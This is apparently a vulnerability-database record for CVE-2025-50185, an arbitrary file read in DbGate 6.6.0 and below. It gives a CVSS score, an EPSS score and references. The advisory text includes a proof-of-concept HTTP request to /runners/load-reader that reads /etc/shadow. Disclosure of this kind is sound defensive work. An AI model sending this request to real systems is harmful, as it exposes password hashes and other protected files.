{"cve":"CVE-2025-50185","nvd":{"published":"2025-07-26T04:16:04.207","modified":"2026-06-17T09:34:49.297","status":"Deferred","description":"DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.\n\n\n\n\n\n\n```\nPOST /runners/load-reader HTTP/1.1\nHost: <REPLACE ME>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: <REPLACE ME>\nContent-Type: application/json\nAuthorization: Bearer <REPLACE ME>\nContent-Length: 127\nOrigin: http://192.168.124.119:3000\nConnection: keep-alive\nCookie: <REPLACE ME>\nPriority: u=0\nCache-Control: max-age=0\n\n{\"functionName\":\"reader@dbgate-plugin-csv\",\"props\":{\"fileName\":\"/etc\\/shadow\",\"limitRows\":100}}\n\n```\n\n\n\nThe request payload:\n![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a)\n\n\nLines of the file being returned:\n![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)","cvss_v4":{"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P","score":7.0},"cvss_v3":null,"cwes":["CWE-29"],"references":["https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102","https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9","https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9"],"products":[],"source":"nvd","synced_at":"2026-10-19T22:05:46.678065081+00:00"},"epss":{"cve":"CVE-2025-50185","score":0.00471,"percentile":0.40784,"date":"2026-10-31"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}